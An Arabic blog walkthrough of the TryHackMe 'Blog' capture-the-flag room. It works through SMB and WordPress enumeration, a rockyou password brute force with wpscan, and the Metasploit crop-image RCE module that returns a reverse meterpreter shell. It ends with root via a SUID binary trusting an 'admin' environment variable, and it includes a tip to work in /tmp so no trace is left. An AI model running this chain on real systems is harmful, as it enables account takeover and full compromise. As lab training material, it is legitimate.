Search 🔎🖥️

TryHackMe|Blog WriteUp\Walkthrough (Arabic)

بسم الله

اللي يبغى يشوف الحل مشروح فيديو يرجع للفيديو على قناتي باليوتيوب على هذا الرابط:



رابط التحدي: https://tryhackme.com/r/room/blog

====================================================

كلمة IP في كل الكوماندز اللي أكتبها تُستبدل بالـIP للمشين حقتكم على TryHackMe

أول حاجة نشغل الـmachine ونتأكد إننا اتصلنا بشبكة TryHackMe والاتصال مضبوط، بعدين نبدأ بأول خطوة للحل وهي إننا نسوي scan للشبكة باستخدام nmap

sudo nmap IP -vv

طلع معانا 4 بورتات، نرجع نسوي Aggressive سكان عليها

sudo nmap IP -vv -A -p 22,80,139,445

على بورت 22 عندنا SSH ونظام التشغيل لجهاز الضحية هو Ubuntu، وعلى بورت 80 عندنا Apache server، أما بورت 139 و 445 متعلقة بالـsmb. برضو أعطانا في النتائج إن الـhttp generator هو WordPress وبرضو أعطانا رقم النسخة وهو 5.0، وهذه معلومة مفيدة ومهمة. 

إذا زرنا الصفحة على بورت 80 في المتصفح، بنلاقي بلوق للمستخدم Billy وفيها بوستات، ولكن ما بداخل هذه البوستات شيء مهم. 

و زي ما قال لنا في التحدي، بنضيف الموقع إلى ملف etc/hosts/ على الجهاز

الحين بنستفيد من الـsmb على جهاز الضحية ونحاول نجمع معلومات باستخدام

enum4linux -a IP

أعطاني إن الـnull sessions مسموحة

وأيضا عندي مستخدمين على النظام اسمهم bjoel والثاني smb

وبرضو عندي ثلاثة shares

print و IPC هي افتراضية ودائما موجودة، فما بنشيك عليها، بنشيك فقط على BillySMB. وبما إن الـnull sessions مسموحة فنقدر ندخل عليه باستخدام smbclient

smbclient //IP/billySMB

وإذا عرضنا الموجود بنلقى 3 ملفات، نحملها كلها على جهازنا

get Alice-While-Rabbit.jpg

get tswift.mp4

get check-this.png

بعدين نشيك على هذه الملفات، الملف الوحيد اللي بنلقى فيه معلومة هو  Alice-While-Rabbit.jpg وعشان نستخرج الملف نستخدم

steghide extract -sf Alice-White-Rabbit.jpg

إذا طلب كلمة السر نضغط enter، ثم بيتحمل معانا ملف اسمه rabbit_hole وبداخله هذه الرسالة

:) لذلك بنتوقف هنا، وننتقل للـweb

نسوي directory enumeration  باستخدام gobuster

gobuster dir -w /usr/share/dirb/wordlists/common.txt -u htttp://IP/ -t 64

طلع معانا مجموعة كبيرة من صفحات wordpress، وما في صفحة مُلفتة، فبنتجاوز هذه الخطوة. 

بما إننا عرفنا إن جهاز الضحية يشتغل عليه wordpress، فبنستخدم الأداة wpscan لجمع المعلومات

wpscan --url http://blog.thm/ -e u,vp,vt

ما بيطلع معانا شيء بالنسبة للـ vulnerable plugins and themes لكن بيعطيني السكان اسمين لمستخدمين على الموقع وهم bjoel و kwheel. 


نرجع نستخدم wpscan عشان نبحث عن كلمة السر. أول شيء بنحفظ أسماء المستخدمين في ملف، كل واحد في سطر لوحده، وبسميه users. ثم نشغل هذه الكوماند:

wpscan --url http://blog.thm/ -U users -P /usr/share/wordlists/rockyou.txt -t64

وبيطلع معانا كلمة السر لـkwheel، الحين نبحث إذا كان فيه أي exploit لهذه النسخة من WordPress

searchsploit wordpress 5.0


بنبحث عن الـmetasploit exploit في قوقل وبتطلع معانا هذه الصفحة، اللي تحتوي على اسم الـmodule ومعلومات عنها، وايش نحتاج نحط options

نرجع لجهازنا ونشغل metasploit ثم نبحث عن الـmodule ونشغلها

msfconsole -q

use cp_crop_rce

set rhosts IP

set lhost tun0

tun0 هو عنوان الـopenVPN 

set username kwheel

set password ******

run

بنحصل على meterpreter 

shell

علشان نحصل على shell في النظام

/bin/bash -i

python3 -c 'import pty; pty.spawn("/bin/bash")'

بعدين نروح للـhome ونشوف وش داخله ملفات، بنلقى user.txt، ولكن ما هو الفلاق اللي نبغاه، فما عندنا حل ثاني غير إننا نرفع صلاحياتنا لـroot. 


وممكن نبحث بنفسنا عن طُرق نستغلها لرفع الصلاحيات، أو ممكن نستخدم سكريبت يسهل علينا الموضوع، مثل linpeas.sh، وعشان ننقله للضحية أول شيء بنرجع للـmeterpreter نضغط على ctrl + z ثم نروح للـtmp ونحمل الملف هناك

طيب ليه اخترت الـtmp ؟؟

أول حاجة tmp هو ملف كل الملفات اللي فيه تُمسح تلقائيا عند إغلاق الجهاز، فمثلا لو كنت تشتغل في جهاز الضحية وفجأة تقفل، علطول بينمسح أي شيء حملته هناك على tmp ويصير ما يبقى لك أثر. 

ثاني حاجة، لما نشتغل على جهاز أفضل إننا نجعل ملفاتنا محفوظة في مكان واحد، لسهولة الوصول لها ولسهولة مسحها والتخلص منها، ويا سلام لو كان هذا المكان هو من نفسه يمسح اللي فيه لو تم إغلاق الجهاز بشكل مفاجئ. 

cd /tmp

upload linpea.sh في هذه الكوماند حطو المسار كامل لـ linpeas.sh إذا ما كنتو مشغلين metasploit من نفس المجلد اللي فيه السكريبت. 

الحين تحمل الملف، نرجع للـshell ونغير صلاحيات السكريبت عشان نشغله

channel -i 1

cd /tmp

chmod +x linpeas.sh

./linpeas.sh 

في النتائج طلع معانا SUID اسمه checker، وهذا اسم جديد وبالعادة مو موجود. 


لو شغلناه بيطبع لنا الرسالة Not an Amin


ولو جربنا وسوينا strings، ما بنفهم كويس الـbinary لذلك بأنقله لجهازي وأدرسه باستخدام ghidra

نخرج من الـshell باستخدام ctrl + z

ثم 

download /usr/sbin/checker

ثم نشغل ghidra على جهازنا، من قائمة file نختار New project ثم نضغط Next ثم نختار المجلد اللي نبي نحفظ فيه، اختاروا أي مجلد تبغون. ثم نعطي الـproject اسم، برضو حطو أي اسم تبغون، آخر شيء نضغط finish. 

بيرجعنا لأول صفحة، نرجع من قائمة file ونختار import file، ثم نختار الملف اللي تو حملناه واللي هو checker ثم بيطلع لنا هذه النافذة


نخلي كل شيء زي ما هو ونضغط ok

بعد كذا بنرجع برضو على أول صفحة، نضغط على التنين الأخضر وبيفتح معاي نافذة كبيرة، من قائمة file، نختار open، ثم نروح للملف checker ونفتحه، بيطلع لنا نافذة نختار yes، ثم بيفتح نافذة analysis options نحط صح عند Decompiler Parameter ID، ثم نضغط Analyze. 

بيطلع لنا بعد تحليل البايناري هذا الكود بلغة c


الكود باختصار ياخذ قيمة الـenvironment variable اللي اسمه admin ويشوف لو كان فيه قيمة، أي قيمة بيخلي الـuser id يساوي 0 واللي هو يعني root، ثم بيعطيني shell، أما في حالة كان ما للـadmin قيمة بيطبع لنا رسالة Not an admin. فاللي نحتاج نسويه بكل سهولة الآن إننا نعَرِّف متغير اسمه admin ونخزن فيه أي قيمة، وبعدين نشغل البايناري، وعلطول بنحصل على root shell. 

نرجع الحين على الضحية ونشغل الـshell 

shell

export admin=1 

checker

وعلطول بنحصل على root shell

نسوي spawn لـ bash

/bin/bash -i 

ثم نبحث عن الفلاقات

الـ root.txt موجود على الـroot home directory

cd /root

cat root.txt 

وبكذا حصلنا على الفلاق ✨، باقيلنا واحد ثاني، فنبحث عنه 

find / -name "user.txt" -type f 

وبيطلع وين محفوظ


cat /media/usb/user.txt

وبكذا نكون حصلنا على الفلاق الآخر وانتهينا من الحل ✨. 

هنا حل الأسئلة باستثناء الفلاقات:



Comments

Popular posts from this blog

eJPTv2 Exam Review (Arabic)

TryHackMe|Blueprint WriteUp\Walkthrough (Arabic)